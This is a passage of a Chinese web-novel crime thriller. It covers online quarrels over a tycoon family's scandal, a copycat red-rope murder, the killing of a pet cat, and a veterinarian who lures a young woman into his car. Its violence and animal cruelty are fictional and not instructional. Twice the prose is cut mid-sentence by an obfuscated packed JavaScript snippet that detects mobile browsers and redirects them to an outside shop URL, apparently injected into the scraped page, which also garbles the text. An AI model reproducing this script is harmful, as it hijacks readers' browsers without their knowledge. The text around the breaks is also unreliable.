【魏明俊死了,校园霸凌就不调查了吗?被他逼到掉下天台的男生现在还昏迷不醒!】 【学校和教育局的监管责任呢?中考连普高线都没过,为什么能被明德国际录取???这些事都要不了了之了吗?#校园霸凌零容忍#】 【热知识:我国每年有超过300名缉毒警牺牲在岗位上,最年轻的只有19岁。他们的葬礼没有全网黑白,他们的家人甚至不能公开祭奠——因为怕被报复!现在你们要全网悼念个吸毒致死的?】 【吸毒人员吸毒资金每分钱都是打在缉毒警身上的子弹!共情吸毒者等于践踏英雄尸骨!】 【是啊!今天给吸毒仔哭坟,明天是不是要给毒枭立牌坊?那些缉毒警察牺牲时怎么没见你们哭这么伤心?】 【哭得这么伤心不如做点实事[白眼]把办丧事的钱捐给禁毒基金会,再公开所有校园暴力调查记录,敢吗?】 【临床见过真正初次吸毒的患者,多数表现为呕吐、痉挛而非猝死。除非是毒品纯度极高或混入其他物质。如果魏明俊真的是初次吸毒致死,魏家该做的是配合公安机关进行尸检,协助调查迷夜的毒品来源。说不定能端掉个大窝点!】 【魏明俊这个校园霸凌的废物小三儿子死了也好!倒是原配所生的魏明俊,要颜值有颜值,要能力有能力!脖子以下都是腿,这才是正经继承人该有的样子![魏明璟生活照.jpg]】 【魏延璋引咎辞职!速速抬大少爷继位![魏明璟帅图.jpg]】 网上的骂战看得薛宓津津有味,页面刷着刷着,就刷到了魏明璟的脸——每次一有魏氏集团的瓜,大家骂着骂着都会点评起这张“放在娱乐圈也是颜霸”的脸。 发的最多的照片就是一张魏明璟出席慈善晚宴的抓拍。 暖金色的灯光落在他轮廓分明的脸上,他穿着西装站在演讲台前,眉目清俊,鼻梁高挺,眉骨投下的阴影恰到好处地落在眼窝处,如清风明月一般,带着几分清冷高贵的气质。 好似这样的人,只要接替魏延璋管理魏氏集团,就能平息现在所有的风波一样。 但,薛宓不以为然地撇了撇嘴。 这就颜霸了? 果然,在颜霸上,网友们有着不同意见:【那我觉得还是逮捕魏明俊的那个刑警更帅!侧脸线条绝了好吗![逮捕魏明俊现场偷拍图.jpg]】 【姐妹说的是贺警官吧!他因为太帅已经上了好几次热搜了!指路#青江警草#超话,全是神仙抓拍!】 薛宓挑眉点开超话,下一瞬嘴角抽了抽。置顶的照片点赞数破三万,赫然是上次贺黎筠逮捕孙全伟时,将她从昏暗楼道里抱出来的场景。 贺黎筠侧脸线条紧绷着,警服袖口卷到小臂,露出流畅的肌肉线条。而她整个人被他的外套笼在怀里,只露出攥着他衣领的手。 【这公主抱我直接嘶哈嘶哈!男友力爆棚!】 【真的好温柔贴心,还拿自己的外套盖住了小妹妹。】 天知道,她当时要被他的外套给熏死了。满是汗、臭气哄哄的谁要盖啊! 但不得不说,貌似确实贺黎筠更好看些吧。 薛宓饶有兴致地刷着超话里的照片和视频,心里嘀咕着想。 说来也怪,他们相处这么久,她竟从没认真打量过贺黎筠的长相。毕竟这人一忙起来就是连轴转,经常三四天泡在局里不着家。 她最常见到的,反而是他眼底浓重的青黑,下巴上新冒出的胡茬,和臭气哄哄不知道几天没洗的衣服…… 但现在想来,确实每次热搜里出现贺黎筠的照片,评论区总飘着些“帅爆了”、“公检法颜值担当”之类的花痴留言。 就这样看着评论区争论到底谁最帅正看得好笑时,一条突兀的评论引起了薛宓的注意。 【大家别争了!给两位顶级美貌拉了郎配!腹黑总裁精英攻x高冷闷骚刑警受!强强cp[爱心]设定就是因为弟弟吸毒案结识的两人,有没有大佬产粮!】 底下立刻有人反驳:【你逆我cp了!明明是腹黑刑警攻x精英病娇受!已经有太太产粮了!超好看!锁死钥匙我吞了!】 薛宓茫然地看着“攻”、“受”这两个陌生的字眼。作为不耻下问的好宝宝,她手指已经诚实地打出疑问:“请问攻和受是什么意思呀?”,发送时还顺手加了个乖巧的表情包。 【姐妹好可爱!这是耽美圈术语啦!攻指关系中主动的一方,受指被动方。】 【不懂攻受?[惊讶][惊讶][惊讶]】 【ID魔法少女?年龄显示9岁,大家别给小学生乱科普 [尴尬]】 薛宓连忙道:【不不不,我成年了,年龄是我瞎写的。】 【姐妹既然成年了,那指路《刑警先生与总裁大人》同人文,包教包会!】 懵懵懂懂被科普后,薛宓点开了评论区的连接。 五分钟后,她的三观受到了巨大冲击,只见文中贺黎筠正把魏明俊按在监控死角,用低沉的气音说:“你弟弟的案子……我们换个方式审。” ??? 薛宓眉头越簇越紧。 贺黎筠对魏明俊被保释一事极为恼火。那天,魏明璟带着两名律师,以魏明俊未成年人身份和初次犯错为由,强硬要求取保候审,硬是把警方好不容易拘留的魏明俊弄了出来。 这还不算完,在调查校园霸凌案件时,魏家又以魏明俊身体不适为由,拒绝配合调查。不仅魏家这边碰壁,上头领导也频频对他施压。弄得前段时间,贺黎筠憋了一肚子火。 可现在这些人写的都是什么?贺黎筠把魏明璟按在审讯室里酱酱酿酿,又或者魏明璟用手铐将贺黎筠锁在床头这样那样…… 虽然看不懂后面的描写,虽然和贺黎筠只是合作关系,但看到他的形象被塑造得如此不堪,竟用警察权势压人,甚至描写他用手铐实施不正当行为,薛宓有种好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16748591|185545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朋友被玷污的愤怒,当即撸起袖子和网友大战三百回合,指责她们不尊重现实人物。 然而对方很多专业用词,都让她一头雾水。什么“圈地自萌”、“同人文OOC已预警”,完全听不懂。吵着吵着突然被拉黑,薛宓气得当场爆炸,想都没想就点了举报色一情。 没想到很快就被移出黑名单,还收到一条私信:【不吃粮就别点!干嘛举报啊!有病!】 薛宓憋红了脸,气呼呼地回复:【真刑警也是你能拿来写小黄文的?还有理了?!如果你们真的喜欢贺黎筠,就该尊重他的职业和人格,而不是用这种文章玷污他的形象!】 回复她的是一个冰冷的红色感叹号——消息发送失败,您已被对方拉黑。 哼。 薛宓骂骂咧咧地又举报了几篇文章,而这时,手机突然震动起来。看到屏幕上贺黎筠的名字,她心头猛地一跳,连忙手忙脚乱地关掉微博界面,才心虚地接起电话。 “喂?”她清了清嗓子。 “你和我说的那位周小姐,是玫瑰花园3号楼一个叫周茹的独居女性。她刚毕业,因为工作刚搬来玫瑰花园没多久,但因为前段时间的丢狗事件,整栋楼的住户都认得她。” “邻居都说至少三天没见着她人影了。一个天天出门发传单找狗的人,突然连着三天没动静……” 电话那头,贺黎筠的声音比白天更加沙哑,带着几分疲惫。 “技术科做了初步的容貌修复,与周茹的照片高度相似。我们正在调取小区监控,也已经联系她父母做DNA比对。虽然还没出结果,但基本确定是她了。” 薛宓的眉头越簇越紧,贺黎筠说的每一个细节都在印证她最坏的猜想。但此刻她最关心的不是死者身份,而是…… “这红绳的手法是不是那个连环杀人犯?”她迫不及待地问出声。 贺黎筠迟疑了片刻,摇头道:“不是。” “手法确实很像。同样的红绳,同样的捆绑方式。但有个关键区别,当年的凶手把尸体像展览品一样丢在城郊各处,根本没打算藏,反映出明显的仪式性特征。而这个凶手费尽心机沉尸河底,想要毁尸灭迹,明显在抛尸方式上呈现出完全不同的心理动机。” “这种犯罪手法的矛盾性很典型。模仿了最具视觉冲击力的红绳捆绑,却在抛尸策略上展现出规避侦查的理性思维。这正是模仿犯罪最显著的特征,既想复制轰动效应,又缺乏原案凶手的特定心理需求。” 他话语间透着凝重:“当年的核心案件细节,尤其是红绳的特殊捆绑手法、受害者特定物品的缺失,这些关键信息虽从未对外公开,但三年前,有记者泄露了部分现场照片,加上案件一直未破,导致近几年在论坛上的讨论热度一直居高不下,出现了大量所谓的案情还原帖和凶手心理分析。总有人沉迷于解构它,甚至……崇拜它。” “所以,出现模仿者的可能性很高。” “监控那边有没有发现什么可疑的人?” 电话那头沉默了几秒,再响起时,贺黎筠的声音明显沉了下来:“发现浮尸的地点在一段三不管的河道。去年河道清淤时,南岸最后的几个老旧监控探头都被拆除了。新规划的安防系统因为产权纠纷,街道、河道管理处和开发商互相扯皮,预算一直批不下来,导致这块成为了监管盲区。” “更麻烦的是,这片河道紧邻住宅区,傍晚常有居民散步遛狗,白天还有钓鱼的人,人员流动性大,背景复杂。”他嗓音里压着烦躁,“我们现在唯一能调取的,只有三公里外主干道上的交通卡口监控。” 薛宓仿佛能看见电话那头贺黎筠紧锁的眉头和抿成一条直线的嘴唇——那是他遇到棘手案件时特有的表情。 “2020年了,不是2005年。”他的声音里带着压抑的怒意,“能找到这样的监控死角抛尸,说明凶手要么极其熟悉当地环境,要么就是做了相当周密的准备工作。” “等DNA比对结果出来,我们就重点排查死者的社会关系。等有了嫌疑人,或许你能从他们身上看到些什么。” 按办案惯例,这类女性被害案首先都会考虑情杀方向。而今天,贺黎筠初步排查发现,周茹是独居状态,父母口中并无交往对象,邻居们也纷纷表示从未见过有男性访客。 而公司同事也均证实她近期没有恋爱迹象,作为新人也没有职场纠纷。周茹的生活简单到近乎单调,每日往返于公司和住所,这让情杀与仇杀的可能性大幅降低。 若是监控能捕捉到可疑身影,让薛宓进行辨认,案件或许能有突破。但自DNA确认身份后,调查组查遍了周茹搬来后的所有监控,发现她在爱犬走失后,整天举着寻狗启事在小区内外奔走。 快递员、外卖小哥、遛狗居民、物业保洁、甚至路过的好奇孩童……接触人员繁杂得像一团乱麻。 更棘手的是,案发三天后,周茹的手机依然杳无音信。 而贺黎筠也终于调取到了她的通话记录。 正因为寻找爱犬,她最近一个月的通话记录里密集出现了上百个陌生号码——宠物店、流浪动物救助站、小区业主、声称看到相似狗狗的热心人、还有多个冒充拾到狗狗的诈骗电话。 每个号码都需要交叉核验身份背景、排查通话时长、追溯基站定位……给排查带来了前所未有的难度。 唯一能确定的是,周茹的死亡时间推测是在8月20日晚上九点半到十点半之间。手机信号最后消失的基站位置,恰好就是发现她尸体的那片河道。 从周茹居住的玫瑰花园步行到河道仅需三十分钟,但这对一个独居的年轻女性而言,晚上十点独自前往如此偏僻的地点实在反常。 除非—— 她是被约过去的。 可偏偏,通话记录显示当晚并没有任何可疑来电。 就在贺黎筠刚签完调取短信和微信记录申请单,准备递交技术科时,他突然接到了妈妈的电话。 他工作繁忙时妈妈很少来电,他心头莫名一跳,就听到电话里传来妈妈紧张的声音:“小筠,妈同事群里都在传……河里发现的那具女尸……是不是十六年前那个杀人犯又出来了?” 贺黎筠心中咯噔一下,语气不自觉地带上刑警审讯时的锐利:“妈,案件还在保密侦查阶段,所有信息都是内部资料。你同事具体是怎么说的?原话是什么?消息源头是哪个平台?” 电话那头的崔芳华被儿子罕见的严厉语气惊到,迟疑了几秒才说:“就……就在部门群里看到的链接,说是微博上都在传……还配了打了马赛克的照片……” 贺黎筠立刻点开微博。 根本不需要搜索——#青江连环杀人魔重现#的词条就赫然挂在热搜榜首,后面跟着一个暗红的“爆”字。 39.凶案 深吸一口气,贺黎筠迅速浏览了一下词条下的内容,发现置顶的是一条二十分钟前由某个知名八卦媒体发布的独家爆料,配图是三张明显偷拍的高糊照片。 一张是河道警戒线的远景,一张是打满马赛克的裹尸袋轮廓,最后一张是十六年前案发现场的档案照片对比图。 报道用耸人听闻的标题写着:《十六年魔咒再现?青江市河道女尸惊现相同红绳结!》,文章内容充斥着“据知情人士透露”、“手法高度相似”等模糊表述,却只字不提消息的确切来源。 而就这么一个仅由几张模糊照片和揣测性文字拼凑而成的爆料,竟在短短一小时内势如破竹,迅速碾压了已持续发酵十日、牵扯无数政商名流的魏氏集团与迷夜的相关热搜——尤其是那些因魏明俊之死都未平息的舆论风暴。 取而代之的,是无数带着“青江市连环杀人魔”、“红绳”、“十六年悬案”字眼的博文,在热搜话题里疯狂刷屏。 这种不自然的流量井喷和话题更替,明显不符合常规的舆情传播规律。 显然,当某个涉及权贵的重大丑闻压不住时,就用更具爆炸性、更吸引眼球的社会新闻来转移公众视线。 而十六年前的连环杀人案,无疑是转移公众视野最完美的工具。 血腥的作案手法、猎奇的红绳、诡异的姿势、未能缉拿归案的杀人魔、以及长达十六年未破的沉疴旧案。 这些关键词足以在瞬间点燃公众的恐惧与猎奇心理,而那片原本炙烤着权贵阶层的丑闻烈焰,就在这片精心制造的恐慌浓烟中,悄无声息地褪色、隐没…… 最终,从公众视野里彻底蒸发。 在舆论的重压之下,青江市公安局不得不发布了一份措辞谨慎的警情通报。 通报中承认,经初步调查,本案排除债务纠纷或私人恩怨引发的仇杀可能,且“作案手法与历史案件存在相似特征,具有明显的模仿犯罪倾向”,但明确强调“目前并无证据表明两案为同一人所为”。 然而,这份试图降温的通报反而加剧了市民的恐慌。 无论答案是模仿犯还是真凶归来,在普通民众眼中并无区别——一个能用红绳将女性勒毙并抛尸的凶手,就是一个活在当下的、真实的杀人魔。 恐慌如同病毒般在青江市中蔓延,夜幕降临时,街头行人明显稀少了许多。 而这股恐慌的浪潮中,刑警支队的调查工作也举步维艰。 案发现场周围总围着想要博流量的主播,举着手机进行实时直播,更有无良记者千方百计跟踪警车,试图追踪办案人员的行踪。 直把刑警支队的众人气得咬牙切齿,队长更是脸色铁青地要求指挥中心增派巡警维持秩序,并严查那几个跳得最凶的主播账号。 这群人想要的根本不是真相,而是流量。为了流量,他们连命都可以不要,根本不在乎会不会破坏痕迹、惊动凶手。 就在贺黎筠为案件焦头烂额之际,薛宓也正为另一件事心烦意乱。 花卷又偷溜出门了! 这次是林美美的外婆出门丢垃圾时没把门关紧,让这只向往自由的三花猫又逮着机会蹿了出去。 平常就算溜出家门,它也顶多在楼道里转悠转悠,只要站在阳台喊两声“花卷回家吃饭啦”,不出五分钟,准能看到它迈着优雅的步子从草丛里钻出来。 可这次却不太对劲。 查看了小区监控才发现,原来花卷刚溜到门口,正好遇上一辆突然按喇叭的汽车。“嘀——”的一声刺耳鸣响,吓得它浑身毛都炸了起来,惊慌失措之下,它竟一头冲出小区大门,消失在了外面人来人往的车流中。 薛宓陪着哭红了眼睛的林美美,几乎翻遍了小区周边。 绿化带的每个灌木丛都仔细拨开查看,地下车库的每个角落都搜寻了一遍,连附近商铺的老板娘都问了个遍,却连一根猫毛都没找到。 就在她们心急火燎地打印寻猫启事时,打印店老板端详着屏幕上的三花猫,热心建议道:“小姑娘,光贴启事不够啊。你们去宠物店或者宠物医院登记一下信息吧?咱们小区附近除了有两家宠物店,还有一家宠物诊所。经常有好心人捡到流浪猫狗,都会先送去那里检查身体。他们的顾客群经常转发这种寻宠信息,一传十十传百,比你们到处贴启事管用多了。” 先后在两家宠物店登记后,两人又匆匆赶往打印店老板推荐的宠物诊所。 这是一家名叫“宠物安康”的小型诊所。 推开门,伴随着一阵清脆的风铃声,映入眼帘的是整洁明亮的接待区,空气中淡淡消毒水味与若有似无的香波清香交织,一道温和的嗓音从诊疗室传来。 “乖,很快就不疼了。” 只见一位穿着白大褂的年轻医生正背对着她们,小心翼翼地托着一只橘猫的前爪为其包扎。 橘猫飞机耳地趴着,发出轻微的“喵呜”声,医生一边轻声安抚,一边熟练地操作着,任谁都会觉得这是位富有爱心和耐心的好医生。 而与此同时,前台的一位接待员小姐姐瞧见是两个小朋友进了店,其中一个眼睛红红的、小鼻子也哭得通红,立刻从柜台后绕了出来,关切地弯下腰:“小朋友,怎么哭得这么伤心呀?是家里的小宝贝生病了吗?” 林美美闻言,眼泪又像断线的珠子一样滚落下来,将手中的寻猫启示递了过去:“姐姐……我的猫猫、猫猫不见了……它叫花卷,是只三花猫,尾巴尖是白色的……昨天下午,我外婆倒垃圾的时候,它从门缝跑出去……请问这两天,有没有人捡到这样的猫猫送来你们这里?” 接待员小姐姐的心顿时软成了一团。 她接过寻猫启事后,连忙抽出几张纸巾,温柔地递了过去:“乖,不哭不哭,姐姐一定帮你好好留意。好多走丢的小猫咪最后都平安回家了呢。姐姐这就给你登记,发到我们的顾客群里,好多叔叔阿姨都会帮忙找的。” 这时,诊疗室的门轻轻打开。方才背对着他们的年轻医生护送着那只橘猫和它的主人走了出来。 他约莫三十出头,戴着一副金丝边眼镜。浅蓝色的医用口罩遮住了大半面容,但依旧能看出他清俊的面部轮廓。 看到哭得眼睛红肿的林美美,他微微一怔,随即关切地问:“发生什么事了?” “是小妹妹的猫丢了。”接待员小姐姐将寻猫启事递了过去,“我已经发到群里了。林医生,您最近有看见过这只猫吗?” 目光在寻猫启事上顿了一瞬,林医生脸上露出些许诧异:“这是……你们家的猫?” 薛宓敏锐地捕捉到他瞬间的异常,立刻瞥了一眼他的工牌追问:“林医生,您是在哪里见过吗?” “前段时间,看到一个女生抱着一只类似的猫。”林医生温和地笑了笑,“好像是23日傍晚,是你们认识的人吗?” 8月23日,是她变成成人形态将花卷抱回林美美家的那一天。那天,她感觉有什么东西在暗处凝视着她。 不是人类好奇的打量,而是某种黏稠的、充满恶意的注视。 “是一个好心的小姐姐捡到猫送了回来。”林美美哭丧着脸道,“但现在,还没人看见花卷……” “别太担心。”他俯身摸了摸林美美的头,眼神温暖得仿佛能融化冰雪,“猫咪很聪明,很多时候只是躲在哪里吓坏了。我们这里经常接到走失的宠物,最后都平安回家了。” “谢谢叔叔。” 离开宠物诊所,林美美抽了抽鼻子道:“刚才的叔叔好温柔,诊所也干干净净的。等找回花卷,我要把它和小猫们都带到这里绝育,以后都在这里看病。” 温柔? 干净? 薛宓在心底嗤之以鼻。 那个表象温文尔雅、连白大褂都一丝不苟的医生,周身却翻涌着浓稠如沥青般的黑色物质,粘腻而令人窒息。 他轻柔抚摸小动物时的场景,在她看来,那所谓的“温柔”不过是精心粉饰的表演,其下压抑着、翻滚着令人作呕的黑雾,几乎要冲破那副斯文皮囊,张牙舞爪地弥漫开来。 如今,不过是被他用某种惊人的自制力死死压抑在平静的表象之下。 简直是个犯罪预备分子! 虽然没找到猫,但这趟诊所之行也有意外收获,薛宓当即将这个叫林修远的医生告诉了贺黎筠。 “林修远。”贺黎筠的声音在电话那头顿了顿,带着办案人员特有的审慎语气,“早在排查周茹社会关系时,我们就注意到她的通话记录里存在这家诊所的号码,就对诊所及其所有人员做了一次初步排查。周茹丢狗后,也和你们今天一样,去过那家宠物诊所登记寻狗信息……” 他翻动资料的细微声响透过听筒传来,接着说道:“而这家诊所的经营者正是林修远本人。他开业一年多了,在附近小区颇有名气,特别是很受年轻女性顾客的欢迎。” 薛宓眼睛一亮,迫不及待地打断他:“你说,杀害周茹的凶手,会不会就是他!他只要说找到狗了,就能轻轻松松地把周茹约到任何一个地方!” “但案发当晚,林修远在诊所内救助一只后腿被车压断的流浪猫。将猫送来的,是小区里一位经常投喂流浪猫的中年妇女。诊所内部的监控也拍摄到了他接诊、进入手术室,以及很久以后才出来的画面。而且周茹遇害前,通话记录里也没有来自这家诊所或林修远个人的通话。他们的微信聊天记录我们也调取核查过,内容全都围绕着寻狗事宜,没有任何异常邀约或暗示。” 人证物证俱在,真的不是林修远吗 ? 薛宓眉头紧锁,就听到贺黎筠斩钉截铁道:“但我相信你的眼睛。林修远这个人,一定有问题。即便他不是本案的直接凶手,也必然藏着其他不可告人的秘密。” 他继续说道:“先前因为完整的不在场证明,再加上他宠物医生的身份和在社区里的好口碑,侦查初期就将他排除出了重点名单。现在我会和队里讨论,重点核实那名送猫来的中年妇女证词,以及当晚所谓的救治细节是否完全真实。” 说到这里,他语气忽然放缓,声音也不自觉地柔和了下来:“我也会请交通队的同事帮忙调取花卷离开小区后的监控录像。” “别太担心,花卷一定会平安找到的。” 与薛宓的通话刚一挂断,贺黎筠便径直找到了那位常在玫瑰花园小区喂猫的中年妇女。 她的证词与之前无异,但这次,她详细描述了那晚林修远如何敬业、专注地救治那只流浪猫的过程。 “手术是林医生一个人在里面做的,我是在外面等着。”她努力回忆着,语气肯定,“林医生没有离开过,我能听见里面的动静。器械放的叮当声,哗啦啦的水流声,中间还听见他咳嗽了几次……真的,里面是一直有动静的。” 贺黎筠面色沉静地听着,心中却蓦地一沉。 只听到声音? 那完全可以在手术室里提前放置一个定时播放器,或者用手机远程触发一段预制好的音频。 器械声、水流声、咳嗽声……这些看似自然的背景音,恰恰最容易伪造。 他再次前往宠物诊所,要求重新调取案发当晚手术室内部的监控录像。 前台的服务员查找良久,脸上露出窘迫的歉意:“贺警官,实在抱歉……那天晚上的监控,存储设备……恰好在那个时段满了。”她指着屏幕上一段突兀的空白,声音越来越低,“最后……大概二十分钟,没能录上。” 二十分钟。 贺黎筠的眉头越簇越紧。 二十分钟,只够匆忙抛尸。 而从诊所开车到抛尸的河滩,哪怕一路绿灯、全程超速,来回最快也要十分钟。 除非,周茹的死亡时间根本不在晚上九点半到十点半之间。 她是先遭杀害,后被抛尸的。 就在贺黎筠要求法医部门重新复核周茹死亡时间的第二天早上,薛宓接到了林美美带着哭腔的电话。 她仓皇赶去,拨开窃窃私语的人群,一眼就看到了躺在枯黄草丛里的花卷—— 它小小的身体歪扭地瘫着,已经一动不动了。曾经柔软漂亮的三花色皮毛,几乎被撕成两半,内脏模糊地翻在外面,仿佛一个被随手丢弃、残忍开膛破肚的毛绒玩具。 率先发现的环卫工人站在一旁,语气既愤怒又无奈:“今天早上清扫到这儿才发现的。这地方正好是监控盲区,也不知道是哪个变态干的……” 环卫工人见过花卷的寻猫启事,所以立刻拨打了林美美爸爸的电话。此刻,瞧见小姑娘从刚才哭到现在,忍不住安慰道:“乖囡囡,别哭了啊……看得爷爷心里难受。这小猫……花卷是吧?它肯定知道你已经尽力找它了。它在这片草地里玩过、晒过太阳,也算是快活过。害它的人迟早要遭报应的,老天爷都看着呢……” 林美美的哭声并没有因为这样的安慰而变轻,反而在看见薛宓赶来的霎那,她积压的委屈与恐惧如同决堤般爆发出来:“宓宓……呜呜呜呜……” 她抱着薛宓哭得上气不接下气,那越来越伤心的哭声像一根越拧越紧的弦,尖锐地刺进薛宓的耳膜。 她双拳紧握,浑身发冷,一股压不住的怒火从心底直冲上来,几乎要炸开她的理智。 “美美,我会抓住凶手的。现在,我们先好好安葬花卷,送它平静地离开,好吗?”她努力压抑着情绪。 而就在这时,她的手机响了,是贺黎筠。 “我们在河道打捞证物时,找到了周茹丢失的那只博美。尸检确认,它不是溺水死亡,而是在那之前几天就已经死亡,属于死后被人扔到河里。尸体有明显营养不良和被虐待的痕迹,很可能是同一凶手所为。” 贺黎筠说完,习惯性地停顿了一下,等待薛宓像往常一样积极地和他分析案情。 然而,电话那头只有一片压抑的沉默和吵闹的背景音。 感觉到不对劲的他,语气陡然一变:“你在外面?怎么这么吵,发生什么事了?” “……花卷……”刚刚在林美美面前强作镇定的薛宓,声音突然控制不住地哽了一下,“被人虐杀了,丢在了路边的草丛里。我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16762769|185545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……正准备把它安葬。” “什么?”贺黎筠的声音瞬间一沉,眉头紧蹙,“先别安葬。位置发我,我马上过来。” 贺黎筠赶到时,只见林美美的眼睛哭得通红,而薛宓似乎没有哭,她正将花卷小心地安置在一个纸盒中,周围的居民早已散去,只剩下一种压抑的寂静。 他上前仔细查看了花卷的遗体,随后转向仍在默默抽泣的林美美,温柔地开口:“美美,你愿意把花卷交给哥哥吗?哥哥会请人在它身上寻找线索,一定帮你抓到凶手,让他付出应有的代价。” 林美美原本找薛宓,就是希望她能拜托贺哥哥帮忙追查真凶。可爸爸说,贺哥哥是刑警,平时忙得连饭都顾不上,不会管这种小事,她才一直没敢开口。 现在,听到贺黎筠主动提出帮忙,她抽噎着用力点头:“只要能抓住凶手……我什么都愿意!” 安抚好林美美,并目送她被林伟民接走后,贺黎筠转头望向薛宓,语气凝重起来:“花卷身上的伤口,和周茹那只博美高度相似。我怀疑是同一人所为。” “你是说杀害周茹的凶手?” 贺黎筠点头:“具体还需法医比对确认。而目前我的推测是,凶手原本以虐杀动物为满足,后来欲望升级开始杀人。但现在警方侦查压力大,他难以再次对人下手,所以又重新虐猫宣泄。” “关于周茹的尸检,也有了新发现。尸温与尸僵、尸斑的发展存在矛盾,最终根据胃内容物消化程度推断,她是在最后一餐后一个多小时遇害的。凶手显然具备法医学知识,并有条件进行冷藏处理。” “是林修远。”薛宓冰冷地打断,指甲不自觉地深深掐进掌心。 贺黎筠怔了一下,继续说道:“他手术期间有二十分钟监控缺失,完全可能通过诊所后门潜入地下车库离开。诊所周边监控都没有拍到他外出,但后门直通商场车库。我正准备调取车库监控深入调查。” “我去找他。”薛宓转身就要走。 贺黎筠一把拉住她的手。 掌心相触的瞬间,他却震惊地感受到她整只手冰凉得吓人。 她指骨绷得发白,正不受控制地微微颤抖,似乎正用尽了全部力气,才勉强将那几乎要破体而出的暴怒和杀意困在原地。 上次薛宓露出这般几乎要凝成实质的杀意,还是李秋华出事,她想要用幻境杀死温世谦的时候。 他不由握紧了些:“冷静!我们现在所有的怀疑都还只是推测。法医的比对结果还没出来,不能确定就是同一人所为,甚至不一定是他。等我拿到证据……” 贺黎筠原以为要费尽口舌才能劝住薛宓,就像上次她执意要杀温世谦时,两人激烈争辩了一番。 他已经做好了长久对峙的准备,甚至下意识绷紧了神经。 却没想到,这一次,薛宓只是沉默了片刻,随后抬起眼,极轻极稳地回了一个字: “好。” 他紧绷的肩线终于松懈下来,无声地舒出一口气。 “等我消息。一旦证据确凿,会给你机会审判他的。” 将花卷的遗体送交法医部门后,贺黎筠立即着手调查商场车库的监控录像。 监控显示,林修远的私家车在整个时间段内都未曾移动过,但这并未让贺黎筠轻易排除他的嫌疑。他进一步扩大排查范围,发现同一时段内,竟另有一辆汽车曾驶出地库,并在很短的时间内去而复返。 深入调查后发现,这是一辆租的车,租车的人并非林修远,而是以虚假身份信息租赁,并于周茹死后第二天就办理了退租手续……怎么看形迹都非常可疑。 但尽管贺黎筠整理了多条指向林修远的重大嫌疑线索,但那些都非一锤定音的关键物证。 甚至,这些怀疑多数是从结果反推过程,缺乏扎实的证据支撑,难以形成完整的证据链,导致上级刑侦指挥部认为他过于执着于单一嫌疑人,已严重拖累整体侦办进度,最终推翻了原有的侦查方向,执意要将此案与沉寂多年的连环杀人案并案处理。 一周后,贺黎筠突然接到租车公司的来电,说又有一个戴着鸭舌帽的男人前来租车,身形与上次那人十分相似。工作人员留了个心眼,特意记下了对方提供的姓名和身份证号,请贺黎筠帮忙核查真伪。 贺黎筠匆匆记下信息,立即联网查询——果然,又是一个伪造的身份。 两次选择同一家租车公司,是一个风险极高、非常不明智的选择。通常凶手在抛尸后绝不敢再次使用同一张假证,更不会重返同一家公司租车。 除非—— 凶手极度自信,甚至充满挑衅意味。 他或许认为警方根本还没怀疑到他,又或者,他根本就是一个自恋型人格的犯罪者,沉迷于“警察根本抓不到我”的幻觉中,故意再次选择同一家公司,嘲弄司法,享受这种在刀尖行走的快感。 无论出于哪一种心理,这都是逮捕他的绝佳机会! 而凶手再次租车,甚至铤而走险地选择同一家租车公司,一定是有了新的目标对象,并且很急切地想要行动…… 他当即调转方向,朝着宠物诊所疾驰而去。然而车刚驶过两个路口,手机突然响了起来。 来电显示是薛宓的班主任李秋华。 他刚一接起,对方忧心忡忡的声音就传了过来:“贺警官,真不好意思打扰您!薛宓中午说身体不太舒服,请假提前回家了……我们一直挺惦记的,刚试着往家里打了几通电话,但一直没人接……不知道她现在好点没有?” 贺黎筠心头一紧,面上却不动声色地对电话那头的班主任应道:“她吃了药正在休息,可能是睡熟了没听见电话,谢谢您关心。” 挂断电话的瞬间,他立刻回拨薛宓的号码,指尖不自觉地收紧。听筒里传来的,却只是一遍遍冰冷而机械的提示音: “您所拨打的用户已关机……” 与此同时,一条僻静无人的街角上,一辆黑色轿车无声地滑入路边的阴影。 车窗缓缓降下,露出车内人温润的侧影。瞧见来人的薛宓立即凑近车窗,脸上绽开恰到好处的惊喜:“林医生,真的找到月饼了吗?” 驾驶座上的林修远微笑着点头:“是的,上车吧,我带你接它。” “太好了!谢谢林医生!”薛宓拉开车门,感激地坐进副驾驶,“我一个人在这座城市,只有月饼陪着我。如果找不到它,我真的不知道该怎么办了,连工作都不想找了……” 在监控死角将人接上车后,林修远微笑地听着少女哽咽的声音。 他的手又开始发痒了。 当初掳走那只三花,就是以为它是她的猫。本来打算像对付周茹那样,用猫当诱饵将她引出来。 可惜,那只三花竟不是她的猫。 再加上这阵子警察查得又紧,连物色新猎物都变得束手束脚,只能在猫身上发泄了。 而如今,那股熟悉的、钻心蚀骨的躁动又一次涌了上来。 明明上周才用那只三花猫勉强压下去……结果,呵……她居然自己送上了门。 40.反杀 林修远并非随意挑选目标的。 尤其是眼下风声正紧,他谨慎地花了一周,跟踪这位叫李晴的年轻女性确认她是否真的独居。 加上微信后,他假意安慰、耐心引导,一步步从对话中摸清了对方的底细。 她出身于一个重男轻女的家庭,十八岁就毅然离家,独自来到这座城市谋生,至今还没找到稳定的工作,也没有什么朋友…… 独居,亲情淡薄,邻里陌生,没有同事也没有社交圈——这样的人哪怕突然消失,也不会有人立刻察觉。 多么完美的条件。 